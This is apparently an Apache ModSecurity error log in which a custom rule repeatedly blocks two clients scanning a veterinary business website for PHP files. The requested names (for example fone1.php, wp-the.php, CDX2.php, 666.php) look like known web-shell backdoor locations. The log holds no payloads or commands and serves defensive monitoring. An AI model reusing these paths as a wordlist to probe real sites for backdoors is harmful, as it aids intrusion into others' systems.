[Mon Apr 13 17:11:54.971430 2026] [:error] [pid 63311:tid 63388] [client 20.240.142.13:61897] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fone1.php"] [unique_id "adyzWqHjrGN1MqBCVFnQSwAAAJE"]
[Mon Apr 13 17:11:56.172201 2026] [:error] [pid 9314:tid 9332] [client 20.240.142.13:61933] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fone1.php"] [unique_id "adyzXG_r4W8fX2GWyGTIpAAAAZA"]
[Mon Apr 13 17:11:58.296963 2026] [:error] [pid 63309:tid 63332] [client 20.240.142.13:62749] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fone1.php"] [unique_id "adyzXkpIKZ10weXpf0UCfwAAABM"]
[Mon Apr 13 17:11:59.969406 2026] [:error] [pid 63309:tid 63326] [client 20.240.142.13:60527] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adyzX0pIKZ10weXpf0UCgwAAAA0"]
[Mon Apr 13 17:12:02.503957 2026] [:error] [pid 9314:tid 9322] [client 20.240.142.13:62742] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adyzYm_r4W8fX2GWyGTIrwAAAYY"]
[Mon Apr 13 17:12:06.055899 2026] [:error] [pid 57183:tid 57203] [client 20.240.142.13:61942] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adyzZjDO3t8R5NaxzYTRTwAAAVI"]
[Mon Apr 13 17:12:08.667793 2026] [:error] [pid 9314:tid 9332] [client 20.240.142.13:61570] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adyzaG_r4W8fX2GWyGTIvQAAAZA"]
[Mon Apr 13 17:12:13.248873 2026] [:error] [pid 63406:tid 63433] [client 20.240.142.13:60480] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adyzbbHZEIkQ0Zmgp5ocOQAAANY"]
[Mon Apr 13 17:12:14.927543 2026] [:error] [pid 57183:tid 57188] [client 20.240.142.13:61589] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adyzbjDO3t8R5NaxzYTRXwAAAUM"]
[Mon Apr 13 17:12:15.920440 2026] [:error] [pid 57183:tid 57196] [client 20.240.142.13:61905] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adyzbzDO3t8R5NaxzYTRZAAAAUs"]
[Mon Apr 13 17:12:17.815676 2026] [:error] [pid 63406:tid 63415] [client 20.240.142.13:60531] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adyzcbHZEIkQ0Zmgp5ocUQAAAMQ"]
[Mon Apr 13 17:12:36.781064 2026] [:error] [pid 63311:tid 63388] [client 20.100.201.121:64608] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "adyzhKHjrGN1MqBCVFnQhAAAAJE"]
[Mon Apr 13 17:12:37.910805 2026] [:error] [pid 57183:tid 57196] [client 20.100.201.121:65140] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-the.php"] [unique_id "adyzhTDO3t8R5NaxzYTRsgAAAUs"]
[Mon Apr 13 17:12:38.539037 2026] [:error] [pid 7228:tid 7239] [client 20.100.201.121:65201] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-the.php"] [unique_id "adyzhgEnn1dQrOSHHNVZdQAAAQk"]
[Mon Apr 13 17:12:39.153264 2026] [:error] [pid 9314:tid 9324] [client 20.100.201.121:64630] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-the.php"] [unique_id "adyzh2_r4W8fX2GWyGTJJAAAAYg"]
[Mon Apr 13 17:12:39.676191 2026] [:error] [pid 7228:tid 7234] [client 20.100.201.121:65116] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adyzhwEnn1dQrOSHHNVZegAAAQQ"]
[Mon Apr 13 17:12:39.777385 2026] [:error] [pid 7228:tid 7245] [client 20.100.201.121:64607] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-the.php"] [unique_id "adyzhwEnn1dQrOSHHNVZewAAAQ8"]
[Mon Apr 13 17:12:40.308649 2026] [:error] [pid 63310:tid 63357] [client 20.100.201.121:64702] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "adyziHoXpRU5ztmwPjIvEwAAAE0"]
[Mon Apr 13 17:12:41.002990 2026] [:error] [pid 63310:tid 63356] [client 20.100.201.121:64628] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "adyziXoXpRU5ztmwPjIvFAAAAEw"]
[Mon Apr 13 17:12:42.285048 2026] [:error] [pid 57183:tid 57188] [client 20.100.201.121:65094] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "adyzijDO3t8R5NaxzYTRtgAAAUM"]
[Mon Apr 13 17:12:43.725906 2026] [:error] [pid 57183:tid 57204] [client 20.100.201.121:65133] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "adyzizDO3t8R5NaxzYTRvQAAAVM"]
[Mon Apr 13 17:12:44.081608 2026] [:error] [pid 7228:tid 7244] [client 20.100.201.121:64590] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "adyzjAEnn1dQrOSHHNVZggAAAQ4"]
[Mon Apr 13 17:12:46.055805 2026] [:error] [pid 63309:tid 63336] [client 20.100.201.121:64182] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adyzjkpIKZ10weXpf0UClAAAABc"]
[Mon Apr 13 17:12:46.538287 2026] [:error] [pid 57183:tid 57186] [client 20.100.201.121:64164] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/term.php"] [unique_id "adyzjjDO3t8R5NaxzYTRwQAAAUE"]
[Mon Apr 13 17:12:46.821546 2026] [:error] [pid 57183:tid 57199] [client 20.100.201.121:64636] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "adyzjjDO3t8R5NaxzYTRwgAAAU4"]
[Mon Apr 13 17:12:48.421071 2026] [:error] [pid 63311:tid 63380] [client 20.100.201.121:64612] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adyzkKHjrGN1MqBCVFnQiQAAAIk"]
[Mon Apr 13 17:12:49.004166 2026] [:error] [pid 63310:tid 63349] [client 20.100.201.121:63704] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/term.php"] [unique_id "adyzkXoXpRU5ztmwPjIvFgAAAEU"]
[Mon Apr 13 17:12:51.389561 2026] [:error] [pid 63311:tid 63371] [client 20.100.201.121:64064] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/term.php"] [unique_id "adyzk6HjrGN1MqBCVFnQjwAAAIA"]
[Mon Apr 13 17:12:51.991539 2026] [:error] [pid 9314:tid 9331] [client 20.100.201.121:65110] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "adyzk2_r4W8fX2GWyGTJMwAAAY8"]
[Mon Apr 13 17:12:53.945636 2026] [:error] [pid 63311:tid 63384] [client 20.100.201.121:65090] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/term.php"] [unique_id "adyzlaHjrGN1MqBCVFnQmgAAAI0"]
[Mon Apr 13 17:12:55.059541 2026] [:error] [pid 9314:tid 9336] [client 20.100.201.121:65154] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "adyzl2_r4W8fX2GWyGTJOgAAAZQ"]
[Mon Apr 13 17:12:56.320882 2026] [:error] [pid 63309:tid 63324] [client 20.100.201.121:65132] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "adyzmEpIKZ10weXpf0UCoAAAAAs"]
[Mon Apr 13 17:12:56.839209 2026] [:error] [pid 9314:tid 9332] [client 20.100.201.121:64153] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx79.php"] [unique_id "adyzmG_r4W8fX2GWyGTJQwAAAZA"]
[Mon Apr 13 17:12:57.899109 2026] [:error] [pid 57183:tid 57198] [client 20.100.201.121:65157] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "adyzmTDO3t8R5NaxzYTRzgAAAU0"]
[Mon Apr 13 17:12:59.021092 2026] [:error] [pid 63309:tid 63322] [client 20.100.201.121:65176] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "adyzm0pIKZ10weXpf0UCpgAAAAk"]
[Mon Apr 13 17:13:00.635789 2026] [:error] [pid 63311:tid 63391] [client 20.100.201.121:64624] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx79.php"] [unique_id "adyznKHjrGN1MqBCVFnQoAAAAJQ"]
[Mon Apr 13 17:13:00.680830 2026] [:error] [pid 63311:tid 63377] [client 20.100.201.121:65139] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "adyznKHjrGN1MqBCVFnQoQAAAIY"]
[Mon Apr 13 17:13:00.923271 2026] [:error] [pid 9314:tid 9332] [client 20.100.201.121:63700] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "adyznG_r4W8fX2GWyGTJVgAAAZA"]
[Mon Apr 13 17:13:02.288353 2026] [:error] [pid 63309:tid 63324] [client 20.100.201.121:63635] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adyznkpIKZ10weXpf0UCrQAAAAs"]
[Mon Apr 13 17:13:02.957725 2026] [:error] [pid 63311:tid 63381] [client 20.100.201.121:64167] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx79.php"] [unique_id "adyznqHjrGN1MqBCVFnQpQAAAIo"]
[Mon Apr 13 17:13:03.118496 2026] [:error] [pid 7228:tid 7252] [client 20.100.201.121:64132] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "adyznwEnn1dQrOSHHNVZkQAAARY"]
[Mon Apr 13 17:13:04.133281 2026] [:error] [pid 9314:tid 9339] [client 20.100.201.121:64701] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx79.php"] [unique_id "adyzoG_r4W8fX2GWyGTJWwAAAZc"]
[Mon Apr 13 17:13:04.879807 2026] [:error] [pid 9314:tid 9322] [client 20.100.201.121:64126] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "adyzoG_r4W8fX2GWyGTJXQAAAYY"]
[Mon Apr 13 17:13:05.519476 2026] [:error] [pid 63406:tid 63417] [client 20.100.201.121:63667] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adyzobHZEIkQ0Zmgp5oc-AAAAMY"]
[Mon Apr 13 17:13:05.885946 2026] [:error] [pid 63406:tid 63434] [client 20.100.201.121:64099] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX2.php"] [unique_id "adyzobHZEIkQ0Zmgp5oc_QAAANc"]
[Mon Apr 13 17:13:06.356113 2026] [:error] [pid 9314:tid 9317] [client 20.100.201.121:64581] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adyzom_r4W8fX2GWyGTJXgAAAYE"]
[Mon Apr 13 17:13:06.687690 2026] [:error] [pid 63406:tid 63412] [client 20.100.201.121:64577] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX2.php"] [unique_id "adyzorHZEIkQ0Zmgp5odBQAAAME"]
[Mon Apr 13 17:13:06.886940 2026] [:error] [pid 63406:tid 63417] [client 20.100.201.121:64084] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "adyzorHZEIkQ0Zmgp5odBwAAAMY"]
[Mon Apr 13 17:13:07.873836 2026] [:error] [pid 63406:tid 63416] [client 20.100.201.121:65169] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "adyzo7HZEIkQ0Zmgp5odDwAAAMU"]
[Mon Apr 13 17:13:07.884014 2026] [:error] [pid 63406:tid 63419] [client 20.100.201.121:64662] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX2.php"] [unique_id "adyzo7HZEIkQ0Zmgp5odEAAAAMg"]
[Mon Apr 13 17:13:08.054248 2026] [:error] [pid 57183:tid 57202] [client 20.100.201.121:64584] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adyzpDDO3t8R5NaxzYTR7wAAAVE"]
[Mon Apr 13 17:13:09.117057 2026] [:error] [pid 63310:tid 63347] [client 20.100.201.121:64620] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dass.php"] [unique_id "adyzpXoXpRU5ztmwPjIvJgAAAEM"]
[Mon Apr 13 17:13:09.598637 2026] [:error] [pid 9314:tid 9330] [client 20.100.201.121:64615] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX2.php"] [unique_id "adyzpW_r4W8fX2GWyGTJYQAAAY4"]
[Mon Apr 13 17:13:10.054409 2026] [:error] [pid 57183:tid 57189] [client 20.100.201.121:64117] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "adyzpjDO3t8R5NaxzYTR8QAAAUQ"]
[Mon Apr 13 17:13:10.602116 2026] [:error] [pid 7228:tid 7239] [client 20.100.201.121:64154] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "adyzpgEnn1dQrOSHHNVZmAAAAQk"]
[Mon Apr 13 17:13:11.054221 2026] [:error] [pid 63311:tid 63390] [client 20.100.201.121:64094] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dass.php"] [unique_id "adyzp6HjrGN1MqBCVFnQpwAAAJM"]
